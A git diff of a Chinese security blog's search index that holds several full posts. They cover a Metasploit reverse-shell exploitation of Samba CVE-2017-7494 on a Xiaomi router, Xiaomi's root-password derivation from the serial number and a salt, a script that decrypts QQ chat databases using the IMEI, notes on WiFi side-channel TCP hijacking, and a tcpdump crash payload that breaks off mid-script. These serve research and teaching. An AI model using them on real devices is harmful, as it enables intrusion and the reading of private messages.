diff --git a/search.xml b/search.xml index 105aeabc..1176e294 100644 --- a/search.xml +++ b/search.xml @@ -1,123 +1,277 @@ - - - <![CDATA[小米路由器与Samba漏洞CVE-2017-7494]]> - %2F2019%2F03%2F25%2FSamba-CVE%2F - + + + + + + 小米路由器与Samba漏洞CVE-2017-7494 + + /2019/03/25/Samba-CVE/ + + 小米路由器与Samba漏洞CVE-2017-7494

漏洞描述

Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。
具体执行条件如下:

  1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问

  2. 共享文件拥有写入权限

  3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

Samba介绍

Samba是在Linux和Unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

漏洞成因

处于\source3\rpc_server\src_pipe.c的is_known_pipename()函数未对传进来的管道名pipename的路径分隔符/进行识别过滤,导致可以用绝对路径调用恶意的so文件,从而远程任意代码执行。
首先看到is_known_pipename()函数

跟进到smb_probe_module()

再跟进到do_smb_load_module(),发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数

我们可以通过smb服务上传一个恶意的so文件,该文件包含一个输出函数init_samba_module,随后通过上述过程进行调用,执行任意代码。

漏洞复现

小米路由器

1
2
3
4
5
6
netstat -apnt
tcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbd

nmap 192.168.31.1
139/tcp open netbios-ssn
445/tcp open microsoft-ds

端口已开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
vim /etc/samba/smb.conf
deadtime = 30
domain master = yes
encrypt passwords = true
enable core files = no
guest account = nobody
guest ok = yes
invalid users =
local master = yes
load printers = no
map to guest = Bad User
min receivefile size = 16384
null passwords = yes
obey pam restrictions = yes
passdb backend = smbpasswd
preferred master = yes
printable = no
smb encrypt = disabled
smb passwd file = /etc/samba/smbpasswd
socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576
smb2 max trans = 1048576
smb2 max write = 1048576
smb2 max read = 1048576
write cache size = 262144
syslog = 2
syslog only = yes
use sendfile = yes
writeable = yes
log level = 1
unicode = True
max log size = 500
log file = /tmp/log/samba.log
server role = STANDALONE

[homes]
comment = Home Directories
browsable = no
read only = no
create mode = 0750

[data] ***SMB_SHARE_NAME***
path = /tmp ***SMB_FOLDER***
read only = no ***具备可写权限***
guest ok = yes ***允许匿名***
create mask = 0777
directory mask = 0777

具有可写权限、目录为/tmp

攻击:使用metasploit

设置攻击参数

靶机是小米路由器R3,它的系统为mips架构,但是这个库好像对它的支持不是很好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
show options

Module options (exploit/linux/samba/is_known_pipename):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.31.1 yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMB_FOLDER no The directory to use within the writeable SMB share
SMB_SHARE_NAME no The name of the SMB share containing a writeable directory


Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.216.129 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
7 Linux MIPSLE

执行攻击

1
2
3
4
5
6
7
8
9
10
11
12
exploit

[*] Started reverse TCP handler on 192.168.216.129:4444
[*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path
[*] 192.168.31.1:445 - Retrieving the remote path of the share 'data'
[*] 192.168.31.1:445 - Share 'data' has server-side path '/tmp
[*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so
[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...
[-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...
[-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Exploit completed, but no session was created.

虽然报错,但是查看共享文件夹/tmp却发现了生成了.so文件
知乎这篇专栏也有相同问题

分析POC,查找原因

(来自Wz’blog)

建立SMB连接。若需要账号密码登录,则必须登录后才能继续

从微软上扒的SMB协议建立时序图:

对应POC:

利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)

其中find_writeable_path()函数需要跟进看一下:

再跟进看enumerate_directories()以及verify_writeable_directory函数

可以看到代码逻辑很清楚,首先遍历出当前路径所有的文件夹,然后尝试往里面写一个随机的txt文件用作可写测试,随后删除掉txt文件,记录下可写的文件路径。
至此,我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)

利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)


至此获取到了共享名data的绝对路径。
值得注意的是,这里跟早期的Payload不一样,早期的payload是靠暴力猜解目录,所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径,极大地提高了攻击的成功率。

上传恶意so文件


其中写入的so文件是Metasploit生成的反弹shell,很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数,这个原因上述的漏洞分析也有提及。

调用恶意文件,并执行echo命令打印随机字符串检验是否调用成功


利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\PIPE\/SharePath/Path/Evil.so,然后通过SMB_COM_NT_CREATE_ANDX进行调用。
在复现时,调用恶意so文件总会失败,产生Error Code为:STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况,也许要详细看看smb协议才能知道了。
POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志,随后就是用NBSS协议进行了一次远程代码执行的测试,执行代码为echo随机字符串。

删除恶意so文件,断开smb连接

由msf给出的poc过程可见,对小米路由器的攻击在第五步出现问题,因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND

]]>
+ + - IOT + + IOT + - - Samba - 远程执行 - CVE - -
- - <![CDATA[利用itchat定时转发微信消息]]> - %2F2019%2F03%2F23%2Fauto-send-WX%2F - + + + + + Samba + + 远程执行 + + CVE + + + + + + + + + 利用itchat定时转发微信消息 + + /2019/03/23/auto-send-WX/ + + 我们实验室有个光荣传统,每天早上起床叫醒我的不是闹钟,而是群里雷打不动的安全新闻(其实我免提醒了2333)
而这个发送新闻的人,一代一代的传承,我没想到竟然有一天会落在我头上,哭了o(╥﹏╥)o
为了不暴露我的起床时间,同时能保质保量的完成任务,我决定做个机器人帮我完成。
这就是这片po文的由来啦!

大杀器itchat

introduction

先来一段itchat的官方介绍吧

itchat是一个开源的微信个人号接口,使用python调用微信从未如此简单。
使用不到三十行的代码,你就可以完成一个能够处理所有信息的微信机器人。
当然,该api的使用远不止一个机器人,更多的功能等着你来发现,比如这些。
该接口与公众号接口itchatmp共享类似的操作方式,学习一次掌握两个工具。
如今微信已经成为了个人社交的很大一部分,希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。

实际上,itchat是对微信网页端的爬虫,所以,网页端可以实现的功能都有,那么,我想要的定时群发微信消息,自然不在话下!

初步尝试

  • 安装

    1
    pip install itchat
  • 一个简单实例:实现给文件传输助手发送消息

1
2
3
import itchat
itchat.auto_login()
itchat.send('Hello, filehelper', toUserName='filehelper')

实现定时转发

这个的实现需要注册msg_register,逻辑很简单,当收到指定群里的指定消息时,将消息转发到另一个群。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itchat
from datetime import datetime
import time
import re
import threading
from itchat.content import TEXT
from itchat.content import *
from apscheduler.schedulers.blocking import BlockingScheduler

@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True)
def getContent(msg):
global g_msg
groups = itchat.get_chatrooms(update = True)
for g in groups:
#print(g['NickName'])
if g['NickName'] == '被转发的群名':
from_group = g['UserName']
if '每日安全简讯' in msg['Content']:
print("get message from " + msg['FromUserName'])
if msg['FromUserName'] == from_group:
g_msg = msg['Content']
print('成功获得群消息,等待转发')
print(int(time.strftime("%H%M%S")))
while(1):
if int(time.strftime("%H%M%S")) > 80000:
SendMessage(g_msg,'发送的对象群名')
g_msg = ''
break

def SendMessage(context,gname):
itchat.get_chatrooms(update = True)
users = itchat.search_chatrooms(name=gname)
userName = users[0]['UserName']
itchat.send_msg(context,toUserName=userName)
print("\n发送时间: " + datetime.now().strftime("%Y-%m-%d %H:%M:%S") + "\n" "发送到:" + gname + "\n" + "发送内容:" + context + "\n")
print("*********************************************************************************")

if __name__ == '__main__':
itchat.auto_login(hotReload=True,enableCmdQR=2)
itchat.run(blockThread=False)

添加周期防掉线

据说每三十分钟发送一次消息可防止网页端微信掉线~~

1
2
3
4
5
6
7
8
9
10
11
12
def loop_send():
nowTime = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
context = '现在是北京时间 :\n'+ nowTime +'\n\n我们还活着'
itchat.get_chatrooms(update = True)
users = itchat.search_friends(name=u'chengkun')
userName = users[0]['UserName']
itchat.send_msg(context,toUserName=userName)

if __name__ == '__main__':
sched = BlockingScheduler()
sched.add_job(loop_send,'interval',minutes=30)
sched.start()

把程序放在服务器上

我是在腾讯云有个服务器,因为自己的电脑不可能时时刻刻开机,所以就放在服务器上,方法是:

1
sudo nohup python -u auto_Send.py >> auto_Send.log 2>&1 &

  • 使用nohup可以让程序在后台运行
  • 然后将日志输出到auto_Send.log,方便我们后期出bug了排错
  • -u可以防止输出到python缓冲区

遇到的坑

线程阻塞问题

这里有两个线程,一个是定时转发,一个是循环发送,因此要设置为itchat.run(blockThread=False)以及sched = BlockingScheduler()否则会卡在某个方法。

找不到群组

这是因为users = itchat.search_chatrooms(name=gname),在搜索的是你保存到通讯录的群组。

二维码显示不全

itchat.auto_login(hotReload=True,enableCmdQR=2),需要设置为2

]]>
+ + - 杂七杂八 + + 杂七杂八 + - - itchat - 微信 - -
- - <![CDATA[小米固件工具mkxqimage]]> - %2F2019%2F03%2F16%2F%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage%2F - + + + + + itchat + + 微信 + + + + + + + + + 小米固件工具mkxqimage + + /2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/ + + 小米固件工具mkxqimage

小米自己改了个打包解包固件的工具,基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能,路由系统里自带:

1
2
3
4
Usage:
mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]]
[-x file]
[-I]

固件解包

固件工具mkxqimage完成对固件的解包,在解包前先检查Checksum是否正确,然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名,这两个步骤通过后,根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。

固件打包

小米官方在打包固件时用RSA私钥计算出固件的RSA签名,小米路由器下载固件后用RSA公钥来验证RSA签名,有效地防止固件被篡改。

固件格式

路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式

1
2
3
48 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 00
20 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00
FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5

第1~4字节:ASCII字符串“HDR0”,作为固件的标识;
第5~8字节:4字节整型数0x0311D464,表示固件的大小:51500132字节;
第9~12字节:固件的检查和;
第13~14字节:0x0005,表示固件中包含哪些部分;
第15~16字节:0x0002,表示固件格式版本号;
第17~20字节:0x00000020,表示固件第一部分在整个固件中的偏移量,0.4.85固件的第一部分是brcm4709_nor.bin,也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像;
第21~24字节:0x00FE0020,表示固件第二部分在整个固件中的偏移量,0.4.85固件的第二部分是root.ext4.lzma,也就是硬盘中128M固件的压缩包;
第33字节开始是固件的正式内容开始。

小米开启ssh工具包

使用mkxqimage解包
(现在会提示秘钥不存在)

1
2
error fopen public key
Image verify failed, not formal image

如果能解包应该可以得到脚本文件upsetting.sh

1
2
3
4
#!/bin/sh
nvram set ssh_en=1
nvram set flag_init_root_pwd=1
nvram commit

执行脚本文件upsetting.sh后,将ssh_en设置为1,同时设置了flag_init_root_pwd项。当正式启动时,/usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时,自动修改root用户密码,具体脚本为:

1
2
3
4
5
6
7
flg_init_pwd=`nvram get flag_init_root_pwd`
if [ "$flg_init_pwd" = "1" ]; then
init_pwd=`mkxqimage -I`
(echo $init_pwd; sleep 1; echo $init_pwd) | passwd root
nvram unset flag_init_root_pwd
nvram commit
fi

初始密码是mkxqimage -I的结果,实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上,12位数字,如:561000088888

初始密码计算算法为:

substr(md5(SN+"A2E371B0-B34B-48A5-8C40-A7133F3B5D88"), 0, 8)

A2E371B0-B34B-48A5-8C40-A7133F3B5D88 为分析mkxqimage得到的salt

]]>
+ + - IOT + + IOT + - - 小米 - 文件格式 - SSH - -
- - <![CDATA[QQ数据库的加密与解密]]> - %2F2019%2F02%2F22%2Fqq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86%2F - + + + + + 小米 + + 文件格式 + + SSH + + + + + + + + + QQ数据库的加密与解密 + + /2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/ + + qq数据库采用简单加密——异或加密

数据获取:

DENGTA_META.xml—IMEI:867179032952446
databases/2685371834.db——数据库文件

解密方式:

明文msg_t 密文msg_Data key:IMEI
msg_t = msg_Data[i]^IMEI[i%15]

实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sqlite3

IMEI = '867179032952446'
conn = sqlite3.connect('2685371834.db')
c = conn.cursor()

def _decrypt(foo):
substr = ''
#print(len(foo))
for i in range(0,len(foo)):
substr += chr(ord(foo[i]) ^ ord(IMEI[i%15]))
return substr

#rem = c.execute("SELECT uin, remark, name FROM Friends")
Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")

for msg in Msg:
uid = _decrypt(msg[1])
print("\n"+uid+":")
try:
msgData = _decrypt(msg[0]).decode('utf-8')
print(msgData)
except:
pass

结果

]]>
+ + - 加密解密 + + 加密解密 + - - 密码 - QQ - 数据库 - -
- - <![CDATA[wifi半双工侧信道攻击学习笔记]]> - %2F2019%2F01%2F16%2Fwifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2F - + + + + + 密码 + + QQ + + 数据库 + + + + + + + + + wifi半双工侧信道攻击学习笔记 + + /2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/ + + TCP侧信道分析及利用的学习报告

论文来源:USENIX SECURITY 2018:Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets
下载:
原文pdf
中文slides

背景知识

测信道

香农信息论

信息熵

什么是信息? 用来减少随机不确定的东西

什么是加密? 类似于加噪声,增加随机不确定性

“从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。”

侧信道随之出现 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。

  1. 早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性
  2. 而随着研究的深入,逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递
  3. 并在Web应用交互信息传递越来越频繁时,延伸到了网络加密数据流的破解方面

侧信道攻击的流程 第一个就是侧信道泄露的截取,第二个是信息的恢复。


网络攻击

  1. 中间人攻击

    “指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。”

  • 公共wifi、路由器劫持
  • 一般使用加密来防御
  • 加密的代价:维护密钥证书、影响功能(运营商无法做缓存)
  1. 非中间人攻击/偏离路径攻击/off-path attack

    通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。

  • 攻击成功需要:消息合法+最先到达
  • 防御措施:challenge-response/询问-应答机制
    双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。
  • 攻击者如何得到这个随机数:侧信道

TCP三次握手

  1. 客户端通过向服务器端发送一个SYN来创建一个主动打开,作为三路握手的一部分。客户端把这段连接的序号设定为随机数A
  2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1,SYN/ACK包本身又有一个随机产生的序号B
  3. 最后,客户端再发送一个ACK。当服务端收到这个ACK的时候,就完成了三路握手,并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1,而响应号则为B+1。

通过三次握手,确定对方不是非中间人

TCP序列号的问题

19851995200120042007201220122016
MorrisMitnikZalewskyWastonkLMHerzberg作者作者
初始序列可预测真实利用漏洞仍在BGP DoSWindows攻击Puppet-assistedMalware-assistedoff-path attack
  1. 90年代时发现并不随机:1995年伪造客户端连接微软大楼的服务器
  2. 2007年在windows场景下用IDID侧信道猜出序列号:只针对Windows,花费几小时

Malware-assisted

攻击模型:
给受害者安装一个无特权的应用程序(仅能网络连接),这个程序跟非中间人的攻击者里应外合,劫持手机上所有的TCP连接。

如何劫持TCP

  1. 需要的信息:Facebook的连接IP地址和端口号,由此可以知道TCP连接的序列号,利用序列号伪装成Facebook给手机发消息。
    使用netstat命令获取:

  2. 任务:由于TCP的序列号通常连续,所以要精确猜到它的下一个序列号。

  3. 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。

变种一:防火墙

攻击过程: TCP三次握手之后产生A和B,将来传输的包序列号必须跟A和B很接近,否则,防火墙会丢弃这个包。因此只有猜对了序列号,包才能到达手机端。到达手机端后,后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。

具体侧信道方案: CPU资源使用率(噪音很大)——>TCP计数器(后台软件运行制造噪音)——>低噪音计数器:包被丢掉时,一个相应的错误计数器。

解决方法: 关闭防火墙检查序列号的功能

变种二:无防火墙

具体侧信道方案:跟TCP业务逻辑有关的计数器——收到的TCP包序列号小于期望时增加,大于时不变。二分查找搜索正确的序列号。
影响范围:Android、Linux、MacOS、FreeBSD


Pure off-path:无恶意软件协助

不植入恶意软件,劫持任意两台机器的TCP连接:首先确定是否建立TCP连接,然后推测其序列号A和B。

Global Rate Limit

USENIX 2016 : Off-Path TCP Exploits: Global Rate Limit Considered Dangerous

侧信道: 所有的侧信道,本质上就是攻击者和受害者之间共享着某些资源,如之前的全局TCP计数器。这里使用的侧信道是 服务器上 的共享资源,限速器(RFC 5961)限制某一种包的发送速率(默认100p/s)

如何利用共享限速器:
先判断是否建立了连接。然后伪造TCP包,需要猜测源端口,如果猜测正确,服务器会返回一个challenge,攻击者不断触发,一共可以收到99个(还有一个发给了客户端);如果猜测错误,则一共可以收到100个challenge。

评估: 是否建立了连接:<10s ; Seq:30s ; ACK:<10s

解决方案: 1. 加噪音,100变成150、200;2. 限速器做成局部的


Unfixable WiFi timing

USENIX 2018 : Off-Path TCP Exploit: How Wireless Routers
Can Jeopardize Your Secrets
之前的漏洞无论是计数器还是限速器都属于软件,很好更正,但这篇文章的漏洞利用无法修复。

TCP收包的原理: 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了,就会去看这个包的序列号;如果序列号不对,会触发一个回复,说明这个序列号存在问题;如果序列号正确,但反向序列号不对,也会丢包。当连接匹配、序列号和反向序列号正确时,就会返回一个数据包。

侧信道: 攻击者伪装成服务器给客户端发包,正确的序列号会有回复,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 半双工 传输。
让有回包和没有回包的时间差异放大。

判断流程: 客户端和路由器之间wifi通信。攻击者依次发送三个数据包,第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的,如果第2个包猜对了,客户端会向服务器返回数据包,这会导致占用更长时间的wifi信道,从而会使第3个包的RTT更长。

评估: 在本地环境下,如果发送40个包,就有20ms的RTT差别。

攻击应用:
1. 攻击模型: 受害者访问了我们的钓鱼网站,这时javascript(傀儡)会在后台执行,主动建立到攻击者的连接(规避NAT或防火墙造成的不可抵达问题),这时攻击者就可以从外网测试RTT。

与理想情况的不同:客户端通常在NAT或防火墙之后;操作系统不一定严格遵守TCP收包的原则

Attacker -------wire----------|                           Router ---------wireless-------Victim (client)Server   -------wire----------|

2. 攻击目标: 推断出客户端和服务器是否建立了连接;合计连接中交换的字节数或强制中断连接;注入恶意payload到连接(不失一般性的关注web缓存投毒)。前两个不需要傀儡初始化连接,第三个不一定需要,但攻击者控制了时序,能够简化攻击。

3. 攻击过程: 假设傀儡已经建立了连接,攻击者可以劫持并替换任何不加密的网站(如武汉大学),并在浏览器缓存。这是因为当浏览器请求相同的ip地址时,会复用之前的TCP连接。这意味着恶意网站中的傀儡可以通过重复HTML元素来建立到目标域名的单个持久连接。然后,路径外攻击者可以进行侧信道攻击,以推断目标连接中使用的端口号和序列号,然后注入虚假的http响应,并要求浏览器不重新检查对象的新鲜度,从而达到持续性的缓存投毒。

4. 细节:

  • 连接(四元组)推断: 每一轮使用30个重复包测试一个端口,如果端口号正确,就会发现RTT大幅增加。如果还要完成 web缓存投毒 ,还需要傀儡初始化连接来协助,根据系统不同,有不同的端口选择算法可以优化:windows&macOS 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号,这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号,这完全消除了对端口号推断的需要。NAT 端口保留,不需要关心外部端口被转换成不可预知的内部端口。来自同一域名的多个IP地址,这意味着攻击者需要付出更大的代价来推断端口号。
  • 序列号推断: 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 窗口内序列号,通过进行二分搜索进一步将序列号空间缩小到单个值 RCV.NXT。如果还要使用傀儡建立的连接发起web缓存投毒,可以进一步优化:增大接收窗口的大小,可以减少猜测的迭代次数,通常可以放大到500000(之前是65535),而且根据RFC793,窗口放大之后就永远不会缩小。
  • TCP劫持: 通过劫持傀儡初始化的连接,可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范,所以各自处理情况也不同——windows:客户端必须持续发送请求以防止ACK接收窗口仅为一个字节,这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。
    因此,作者设计了一种新策略,该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 (1)注入,傀儡不断从服务器上请求脚本,而攻击者发送2^23/|wnd|个欺骗性数据包,这些包的窗口序列号与RCV.NXT加上偏移量相匹配,其中|wnd|为ack接收窗口大小,第i个数据包的ACK号为i*|wnd|,payload为

    1
    websocket.send(|wnd|*i)

    因此,这些数据包中包含有效ACK号的一个包将被缓冲,并破坏真实的HTTP响应头。浏览器执行注入的脚本时,它将通过websocket发送猜测的ACK号,提供有效的窗口内ACK号。

    (2)利用,由于客户端已经接受了额外的欺骗payload,推进了其预期的序列号,因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应(知道预期的序列号和有效的ACK号)。如果我们只想执行一次性注入,只需用恶意脚本替换第一步中的payload就足够了。
    此外,针对Windows的注入步骤存在更加通用的替代策略,不依赖于浏览器行为。 具体来说,由于HTTP响应的前几个字节是可预先确定的(即HTTP),不破坏真实的响应,而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露,就存在各种方法来有效地将数据注入浏览器,而不用进行基于时间信道的慢得多的ACK号推断。


Discussion

时序侧信道来自无线网络的半双工性质。由于无线协议中固有的冲突和回退,它被进一步放大。正如我们的测试路由器所证实的那样,现代无线路由器都支持CSMA / CA和RTS / CTS,因为它是802.11标准的一部分,并且该原则不太可能很快改变。
虽然作者只讨论威胁模型,其中来自受害客户端的连接是针对性的,但攻击实际上也适用于源自通过同一无线路由器连接的其他客户端的连接。这是因为所有这些客户端(例如,在相同NAT之后)共享了相同的冲突域并因此遭受相同的定时信道。通过探测数据包在任何客户端上触发的响应将有效地延迟探测后查询。在这种情况下,受害者连接(通过傀儡打开)只是为远程攻击者提供了测量碰撞的机会。
此外,我们可以扩展威胁模型以考虑无线连接的服务器,例如物联网设备。已经证明,通过公共IP地址和开放端口可以访问数百万个物联网设备。在这种情况下,可以针对此类IoT设备上的连接启动完全偏离路径的攻击。例如,计算在连接上交换的字节,终止与另一主机的连接,在正在进行的telnet连接上注入恶意命令。

]]>
+ + - 顶会论文 + + 顶会论文 + - - 侧信道攻击 - wifi - -
- - <![CDATA[TCPDUMP拒绝服务攻击漏洞]]> - %2F2018%2F12%2F25%2FTCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E%2F - + + + + + 侧信道攻击 + + wifi + + + + + + + + + TCPDUMP拒绝服务攻击漏洞 + + /2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/ + + TCPDUMP 4.5.1 拒绝服务攻击漏洞分析

Tcpdump介绍

  1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统:包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中,tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump;它需要WinPcap驱动,相当于在Linux平台下的libpcap.
  2. tcpdump能够分析网络行为,性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息,从而使用户能够进一步找出问题的根源。
  3. 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量,如Telnet或HTTP的数据包,查看登录的用户名、密码、网址、正在浏览的网站内容,或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁,而是对网络上的其他计算机的安全存在威胁。

分析环境

  • Ubuntu 16.04.4 LTS i686
  • tcpdump 4.5.1
  • gdb with peda

漏洞复现

这个漏洞触发的原因是,tcpdump在处理特殊的pcap包的时候,由于对数据包传输数据长度没有进行严格的控制,导致在连续读取数据包中内容超过一定长度后,会读取到无效的内存空间,从而导致拒绝服务的发生。对于这个漏洞,首先要对pcap包的结构进行一定的分析,才能够最后分析出漏洞的成因,下面对这个漏洞进行复现。

编译安装tcpdump

1
2
3
4
5
6
7
8
9
10
11
1.# apt-get install libpcap-dev
2.# dpkg -l libpcap-dev
3.# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
4.# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
5.# cd tcpdump-4.5.1/
6.# ./configure
7.# make
8.# make install
9.# tcpdump –-version
tcpdump version 4.5.1
libpcap version 1.7.4

生成payload(来自exploit-db payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep

def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
